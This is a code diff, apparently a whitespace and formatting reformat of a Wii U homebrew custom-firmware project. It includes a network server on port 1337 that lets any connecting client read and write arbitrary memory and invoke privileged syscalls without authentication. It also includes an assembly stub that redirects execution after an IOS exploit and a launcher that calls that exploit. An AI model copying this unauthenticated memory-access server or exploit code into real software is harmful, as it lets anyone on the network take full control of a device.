int getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen);
int listen(int sockfd, int backlog);
ssize_t recv(int sockfd, void *buf, size_t len, int flags);
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
ssize_t send(int sockfd, const void *buf, size_t len, int flags);
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen);
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
int shutdown(int sockfd, int how);
int socket(int domain, int type, int protocol);
int sockatmark(int sockfd);
#endif

View File

@ -3,30 +3,44 @@
#include "ipc_types.h"
typedef struct
{
void* ptr;
u32 len;
u32 unk;
}iovec_s;
typedef struct {
void *ptr;
u32 len;
u32 unk;
} iovec_s;
void *svcAlloc(u32 heapid, u32 size);
void *svcAllocAlign(u32 heapid, u32 size, u32 align);
void svcFree(u32 heapid, void *ptr);
int svcOpen(char *name, int mode);
void* svcAlloc(u32 heapid, u32 size);
void* svcAllocAlign(u32 heapid, u32 size, u32 align);
void svcFree(u32 heapid, void* ptr);
int svcOpen(char* name, int mode);
int svcClose(int fd);
int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len);
int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector);
int svcInvalidateDCache(void* address, u32 size);
int svcFlushDCache(void* address, u32 size);
int svcCreateThread(int (*callback)(void* arg), void* arg, u32* stack_top, u32 stacksize, int priority, int detached);
int svcIoctl(int fd, u32 request, void *input_buffer, u32 input_buffer_len, void *output_buffer, u32 output_buffer_len);
int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s *vector);
int svcInvalidateDCache(void *address, u32 size);
int svcFlushDCache(void *address, u32 size);
int svcCreateThread(int (*callback)(void *arg), void *arg, u32 *stack_top, u32 stacksize, int priority, int detached);
int svcStartThread(int threadId);
int svcCreateMessageQueue(u32 *ptr, u32 n_msgs);
int svcDestroyMessageQueue(int queueid);
int svcRegisterResourceManager(const char* device, int queueid);
int svcReceiveMessage(int queueid, ipcmessage ** ipc_buf, u32 flags);
int svcResourceReply(ipcmessage * ipc_message, u32 result);
int svcRegisterResourceManager(const char *device, int queueid);
int svcReceiveMessage(int queueid, ipcmessage **ipc_buf, u32 flags);
int svcResourceReply(ipcmessage *ipc_message, u32 result);
int svcCustomKernelCommand(u32 command, ...);
#endif

View File

@ -11,30 +11,25 @@
#define CHAR_SIZE_X (8)
#define CHAR_SIZE_Y (8)
static const u8 *launch_image_tga = (const u8*)0x27000000;
static const u8 *launch_image_tga = (const u8 *) 0x27000000;
u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS;
u32 *const framebuffer = (u32 *) FRAMEBUFFER_ADDRESS;
void drawSplashScreen(void)
{
void drawSplashScreen(void) {
// check if it is an unmapped RGB tga
if(*(u32*)launch_image_tga != 0x00000200)
if (*(u32 *) launch_image_tga != 0x00000200)
return;
int i;
for(i = 0; i < (896 * 504); i++)
{
for (i = 0; i < (896 * 504); i++) {
u32 pixel;
u32 pixelOffset = 0x12 + i * 2;
// access only 4 byte aligned data as the file is in code section
u32 dualPixel = *(u32*)(launch_image_tga + (pixelOffset & ~3));
u32 dualPixel = *(u32 *) (launch_image_tga + (pixelOffset & ~3));
if((pixelOffset & 3) == 0)
{
if ((pixelOffset & 3) == 0) {
pixel = ((dualPixel >> 24) & 0xFF) | (((dualPixel >> 16) & 0xFF) << 8);
}
else
{
} else {
pixel = ((dualPixel >> 8) & 0xFF) | ((dualPixel & 0xFF) << 8);
}
@ -42,28 +37,23 @@ void drawSplashScreen(void)
}
}
void clearScreen(u32 color)
{
int i;
for(i = 0; i < 896 * 504; i++)
{
framebuffer[i] = color;
}
void clearScreen(u32 color) {
int i;
for (i = 0; i < 896 * 504; i++) {
framebuffer[i] = color;
}
}
void drawCharacter(char c, int x, int y)
{
if(c < 32)return;
void drawCharacter(char c, int x, int y) {
if (c < 32)return;
c -= 32;
u8* charData = (u8*)&font_bin[(CHAR_SIZE_X * CHAR_SIZE_Y * c) / 8];
u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS];
u8 *charData = (u8 *) &font_bin[(CHAR_SIZE_X * CHAR_SIZE_Y * c) / 8];
u32 *fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS];
int i, j;
for(i = 0; i < CHAR_SIZE_Y; i++)
{
u8 v= *(charData++);
for(j = 0; j < CHAR_SIZE_X; j++)
{
if(v & 1) *fb = 0x00000000;
for (i = 0; i < CHAR_SIZE_Y; i++) {
u8 v = *(charData++);
for (j = 0; j < CHAR_SIZE_X; j++) {
if (v & 1) *fb = 0x00000000;
else *fb = 0xFFFFFFFF;
v >>= 1;
fb++;
@ -72,27 +62,23 @@ void drawCharacter(char c, int x, int y)
}
}
void drawString(char* str, int x, int y)
{
if(!str) return;
void drawString(char *str, int x, int y) {
if (!str) return;
int k;
int dx = 0, dy = 0;
for(k = 0; str[k]; k++)
{
if(str[k] >= 32 && str[k] < 128) drawCharacter(str[k], x + dx, y + dy);
for (k = 0; str[k]; k++) {
if (str[k] >= 32 && str[k] < 128) drawCharacter(str[k], x + dx, y + dy);
dx += 8;
if(str[k] == '\n')
{
if (str[k] == '\n') {
dx = 0;
dy -= 8;
}
}
}
void print(int x, int y, const char *format, ...)
{
void print(int x, int y, const char *format, ...) {
va_list args;
va_start(args, format);

View File

@ -4,8 +4,11 @@
#include "types.h"
void drawSplashScreen(void);
void clearScreen(u32 color);
void drawString(char* str, int x, int y);
void drawString(char *str, int x, int y);
void print(int x, int y, const char *format, ...);
#endif

View File

@ -1,29 +1,29 @@
#ifndef TYPES_H
#define TYPES_H
#include <stdint.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdbool.h>
#define U64_MAX UINT64_MAX
#define U64_MAX UINT64_MAX
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef volatile s8 vs8;
typedef volatile s16 vs16;
typedef volatile s32 vs32;
typedef volatile s64 vs64;
typedef volatile s8 vs8;
typedef volatile s16 vs16;
typedef volatile s32 vs32;
typedef volatile s64 vs64;
#endif

View File

@ -8,31 +8,31 @@
#include "logger.h"
// https://gist.github.com/ccbrown/9722406
void dumpHex(const void* data, size_t size) {
void dumpHex(const void *data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
DEBUG_FUNCTION_LINE("0x%08X (0x0000): ", data);
for (i = 0; i < size; ++i) {
log_printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
log_printf("%02X ", ((unsigned char *) data)[i]);
if (((unsigned char *) data)[i] >= ' ' && ((unsigned char *) data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *) data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
if ((i + 1) % 8 == 0 || i + 1 == size) {
log_printf(" ");
if ((i+1) % 16 == 0) {
if ((i + 1) % 16 == 0) {
log_printf("| %s \n", ascii);
if(i + 1 < size) {
DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1,i+1);
if (i + 1 < size) {
DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1, i + 1);
}
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
log_printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
for (j = (i + 1) % 16; j < 16; ++j) {
log_printf(" ");
}
log_printf("| %s \n", ascii);

View File

@ -8,7 +8,7 @@ extern "C" {
#endif
//Need to have log_init() called beforehand.
void dumpHex(const void* data, size_t size);
void dumpHex(const void *data, size_t size);
#ifdef __cplusplus
}

View File

@ -16,239 +16,215 @@ static u8 threadStack[0x1000] __attribute__((aligned(0x20)));
// overwrites command_buffer with response
// returns length of response (or 0 for no response, negative for error)
static int serverCommandHandler(u32* command_buffer, u32 length)
{
if(!command_buffer || !length) return -1;
static int serverCommandHandler(u32 *command_buffer, u32 length) {
if (!command_buffer || !length) return -1;
int out_length = 4;
int out_length = 4;
switch(command_buffer[0])
{
case 0:
// write
// [cmd_id][addr]
{
void* dst = (void*)command_buffer[1];
switch (command_buffer[0]) {
case 0:
// write
// [cmd_id][addr]
{
void *dst = (void *) command_buffer[1];
memcpy(dst, &command_buffer[2], length - 8);
}
break;
case 1:
// read
// [cmd_id][addr][length]
{
void* src = (void*)command_buffer[1];
length = command_buffer[2];
memcpy(dst, &command_buffer[2], length - 8);
}
break;
case 1:
// read
// [cmd_id][addr][length]
{
void *src = (void *) command_buffer[1];
length = command_buffer[2];
memcpy(&command_buffer[1], src, length);
out_length = length + 4;
}
break;
case 2:
// svc
// [cmd_id][svc_id]
{
int svc_id = command_buffer[1];
int size_arguments = length - 8;
memcpy(&command_buffer[1], src, length);
out_length = length + 4;
}
break;
case 2:
// svc
// [cmd_id][svc_id]
{
int svc_id = command_buffer[1];
int size_arguments = length - 8;
u32 arguments[8];
memset(arguments, 0x00, sizeof(arguments));
memcpy(arguments, &command_buffer[2], (size_arguments < 8 * 4) ? size_arguments : (8 * 4));
u32 arguments[8];
memset(arguments, 0x00, sizeof(arguments));
memcpy(arguments, &command_buffer[2], (size_arguments < 8 * 4) ? size_arguments : (8 * 4));
// return error code as data
out_length = 8;
command_buffer[1] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]);
}
break;
case 3:
// kill
// [cmd_id]
{
serverKilled = 1;
ipc_deinit();
}
break;
case 4:
// memcpy
// [dst][src][size]
{
void* dst = (void*)command_buffer[1];
void* src = (void*)command_buffer[2];
int size = command_buffer[3];
// return error code as data
out_length = 8;
command_buffer[1] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32)) (MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]);
}
break;
case 3:
// kill
// [cmd_id]
{
serverKilled = 1;
ipc_deinit();
}
break;
case 4:
// memcpy
// [dst][src][size]
{
void *dst = (void *) command_buffer[1];
void *src = (void *) command_buffer[2];
int size = command_buffer[3];
memcpy(dst, src, size);
}
break;
case 5:
// repeated-write
// [address][value][n]
{
u32* dst = (u32*)command_buffer[1];
u32* cache_range = (u32*)(command_buffer[1] & ~0xFF);
u32 value = command_buffer[2];
u32 n = command_buffer[3];
memcpy(dst, src, size);
}
break;
case 5:
// repeated-write
// [address][value][n]
{
u32 *dst = (u32 *) command_buffer[1];
u32 *cache_range = (u32 *) (command_buffer[1] & ~0xFF);
u32 value = command_buffer[2];
u32 n = command_buffer[3];
u32 old = *dst;
int i;
for(i = 0; i < n; i++)
{
if(*dst != old)
{
if(*dst == 0x0) old = *dst;
else
{
*dst = value;
svcFlushDCache(cache_range, 0x100);
break;
}
}else
{
svcInvalidateDCache(cache_range, 0x100);
usleep(50);
}
}
}
break;
default:
// unknown command
return -2;
break;
}
u32 old = *dst;
int i;
for (i = 0; i < n; i++) {
if (*dst != old) {
if (*dst == 0x0) old = *dst;
else {
*dst = value;
svcFlushDCache(cache_range, 0x100);
break;
}
} else {
svcInvalidateDCache(cache_range, 0x100);
usleep(50);
}
}
}
break;
default:
// unknown command
return -2;
break;
}
// no error !
command_buffer[0] = 0x00000000;
return out_length;
// no error !
command_buffer[0] = 0x00000000;
return out_length;
}
static void serverClientHandler(int sock)
{
u32 command_buffer[0x180];
static void serverClientHandler(int sock) {
u32 command_buffer[0x180];
while(!serverKilled)
{
int ret = recv(sock, command_buffer, sizeof(command_buffer), 0);
while (!serverKilled) {
int ret = recv(sock, command_buffer, sizeof(command_buffer), 0);
if(ret <= 0) break;
if (ret <= 0) break;
ret = serverCommandHandler(command_buffer, ret);
ret = serverCommandHandler(command_buffer, ret);
if(ret > 0)
{
send(sock, command_buffer, ret, 0);
}else if(ret < 0)
{
send(sock, &ret, sizeof(int), 0);
}
}
if (ret > 0) {
send(sock, command_buffer, ret, 0);
} else if (ret < 0) {
send(sock, &ret, sizeof(int), 0);
}
}
closesocket(sock);
closesocket(sock);
}
static void serverListenClients()
{
serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
static void serverListenClients() {
serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in server;
struct sockaddr_in server;
memset(&server, 0x00, sizeof(server));
memset(&server, 0x00, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = 1337;
server.sin_addr.s_addr = 0;
server.sin_family = AF_INET;
server.sin_port = 1337;
server.sin_addr.s_addr = 0;
if(bind(serverSocket, (struct sockaddr *)&server, sizeof(server)) < 0)
{
if (bind(serverSocket, (struct sockaddr *) &server, sizeof(server)) < 0) {
closesocket(serverSocket);
return;
}
if(listen(serverSocket, 1) < 0)
{
if (listen(serverSocket, 1) < 0) {
closesocket(serverSocket);
return;
}
while(!serverKilled)
{
while (!serverKilled) {
int csock = accept(serverSocket, NULL, NULL);
if(csock < 0)
if (csock < 0)
break;
serverClientHandler(csock);
}
}
closesocket(serverSocket);
serverSocket = -1;
closesocket(serverSocket);
serverSocket = -1;
}
static int wupserver_thread(void *arg)
{
while(ifmgrnclInit() <= 0)
{
//print(0, 0, "opening /dev/net/ifmgr/ncl...");
usleep(1000);
}
static int wupserver_thread(void *arg) {
while (ifmgrnclInit() <= 0) {
//print(0, 0, "opening /dev/net/ifmgr/ncl...");
usleep(1000);
}
while(true)
{
u16 out0, out1;
while (true) {
u16 out0, out1;
int ret0 = IFMGRNCL_GetInterfaceStatus(0, &out0);
if(!ret0 && out0 == 1) break;
int ret0 = IFMGRNCL_GetInterfaceStatus(0, &out0);
if (!ret0 && out0 == 1) break;
int ret1 = IFMGRNCL_GetInterfaceStatus(1, &out1);
if(!ret1 && out1 == 1) break;
int ret1 = IFMGRNCL_GetInterfaceStatus(1, &out1);
if (!ret1 && out1 == 1) break;
//print(0, 0, "initializing /dev/net/ifmgr/ncl... %08X %08X %08X %08X ", ret0, ret1, out0, out1);
//print(0, 0, "initializing /dev/net/ifmgr/ncl... %08X %08X %08X %08X ", ret0, ret1, out0, out1);
usleep(1000);
}
usleep(1000);
}
while(socketInit() <= 0)
{
//print(0, 0, "opening /dev/socket...");
usleep(1000);
}
while (socketInit() <= 0) {
//print(0, 0, "opening /dev/socket...");
usleep(1000);
}
#ifdef LOG_IP
log_init(LOG_IP);
log_init(LOG_IP);
#else
log_init(0xC0A8B203);
#endif
//print(0, 0, "opened /dev/socket !");
usleep(5*1000*1000);
//print(0, 10, "attempting sockets !");
//print(0, 0, "opened /dev/socket !");
usleep(5 * 1000 * 1000);
//print(0, 10, "attempting sockets !");
while(1)
{
if(!serverKilled)
{
serverListenClients();
}
else
{
while (1) {
if (!serverKilled) {
serverListenClients();
} else {
break;
}
usleep(1000*1000);
}
usleep(1000 * 1000);
}
log_deinit();
return 0;
log_deinit();
return 0;
}
void wupserver_init(void)
{
void wupserver_init(void) {
serverSocket = -1;
serverKilled = 0;
int threadId = svcCreateThread(wupserver_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1);
if(threadId >= 0)
int threadId = svcCreateThread(wupserver_thread, 0, (u32 *) (threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1);
if (threadId >= 0)
svcStartThread(threadId);
}
void wupserver_deinit(void)
{
void wupserver_deinit(void) {
serverKilled = 1;
shutdown(serverSocket, SHUT_RDWR);
}

View File

@ -2,6 +2,7 @@
#define WUPSERVER_H
void wupserver_init(void);
void wupserver_deinit(void);
#endif

View File

@ -1,26 +1,24 @@
void _main()
{
void _main() {
void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C;
void (*ios_shutdown)(int) = (void (*)(int)) 0x1012EE4C;
int(*reply)(int, int) = (int(*)(int, int))0x1012ED04;
int (*reply)(int, int) = (int (*)(int, int)) 0x1012ED04;
int saved_handle = *(volatile int*)0x0012F000;
int myret = reply(saved_handle, 0);
if (myret != 0)
ios_shutdown(1);
// stack pointer will be 0x1016AE30
// link register will be 0x1012EACC
asm("LDR SP, newsp\n"
"LDR R0, newr0\n"
"LDR LR, newlr\n"
"LDR PC, newpc\n"
"newsp: .word 0x1016AE30\n"
"newlr: .word 0x1012EACC\n"
"newr0: .word 0x10146080\n"
"newpc: .word 0x10111164\n");
int saved_handle = *(volatile int *) 0x0012F000;
int myret = reply(saved_handle, 0);
if (myret != 0)
ios_shutdown(1);
// stack pointer will be 0x1016AE30
// link register will be 0x1012EACC
asm("LDR SP, newsp\n"
"LDR R0, newr0\n"
"LDR LR, newlr\n"
"LDR PC, newpc\n"
"newsp: .word 0x1016AE30\n"
"newlr: .word 0x1012EACC\n"
"newr0: .word 0x10146080\n"
"newpc: .word 0x10111164\n");
}

View File

@ -15,8 +15,8 @@ int main(int argc, char **argv) {
WHBLogUdpInit();
WHBLogPrintf("Hello from mocha");
unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0);
memcpy((void*)0xF417FFF0, &sysmenuIdUll, 8);
DCStoreRange((void*)0xF417FFF0,0x8);
memcpy((void *) 0xF417FFF0, &sysmenuIdUll, 8);
DCStoreRange((void *) 0xF417FFF0, 0x8);
ExecuteIOSExploit();
WHBLogPrintf("Bye from mocha");